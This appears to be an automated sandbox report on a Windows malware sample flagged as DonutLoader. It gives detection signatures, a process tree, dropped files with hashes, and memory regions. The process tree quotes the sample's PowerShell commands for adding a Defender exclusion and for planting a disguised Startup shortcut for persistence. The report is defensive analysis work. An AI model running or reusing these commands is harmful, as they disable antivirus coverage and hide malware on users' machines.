Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 23:14

General

  • Target
    2026-07-31_c8084870a4ee0e7bcd39deec45f37ca0_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 5.8MB
  • Sample260731-28aggsac28
  • SHA256 766c268ed0a6c4644720a4f6869e697e1cebaf36ffd2ed8ab99930514700656f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Detects DonutLoader 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 3 IoCs
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-31_c8084870a4ee0e7bcd39deec45f37ca0_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-31_c8084870a4ee0e7bcd39deec45f37ca0_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4932
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Service'; $Shortcut.Save();"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2648
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      PID:1988
  • C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
    C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Service'; $Shortcut.Save();"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2060
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Executes dropped EXE
      PID:2808

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        WerFault.exe

        • Path C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
        • Size 5.8MB
        • SHA256 766c268ed0a6c4644720a4f6869e697e1cebaf36ffd2ed8ab99930514700656f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        werdata.db

        • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
        • Size 6.8MB
        • SHA256 7c83aa22dc1ae712de00ea01442d351e6da2e9ba7b4af91b287b457d147d9019
        • MD5 SHA1 SHA512 SSDEEP TLSH

        werdata.db

        • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
        • Size 12.4MB
        • SHA256 3f71282cafee16fd77480dee5b76ce7c53c40e0813cc61ddd27292acf7036030
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ef59afd2a57289cf37053a777fdca2017a60bc7677607620fda8c6f7112e3932
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_ddrmuddx.jec.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ddrmuddx.jec.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        WerFault.exe.lnk

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk
        • Size 1KB
        • SHA256 a090dc4db7457b2d018981869cdbd64a3f36aa81c9614e3cf46c3d52d95ed027
        • MD5 SHA1 SHA512 TLSH

        memory/704-11-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-0-0x00007FFC6A3EF000-0x00007FFC6A3F0000-memory.dmp

        memory/704-12-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-16-0x00000198C8E10000-0x00000198C8EC2000-memory.dmp

        memory/704-15-0x00000198C8BE0000-0x00000198C8BFE000-memory.dmp

        memory/704-17-0x00000198C8BC0000-0x00000198C8BCA000-memory.dmp

        memory/704-18-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-20-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-19-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-21-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-23-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-10-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-9-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-8-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-3-0x00000198B0A20000-0x00000198B0A42000-memory.dmp

        memory/704-1-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-5-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-2-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/704-4-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

        memory/1988-43-0x0000026E64210000-0x0000026E683A8000-memory.dmp

        memory/1988-34-0x0000026E5ED80000-0x0000026E5F9E9000-memory.dmp

        memory/2808-55-0x00000246EB170000-0x00000246EBDD9000-memory.dmp

        memory/2808-54-0x00000246F04D0000-0x00000246F4668000-memory.dmp

        memory/5780-41-0x0000029DCB9D0000-0x0000029DCBA82000-memory.dmp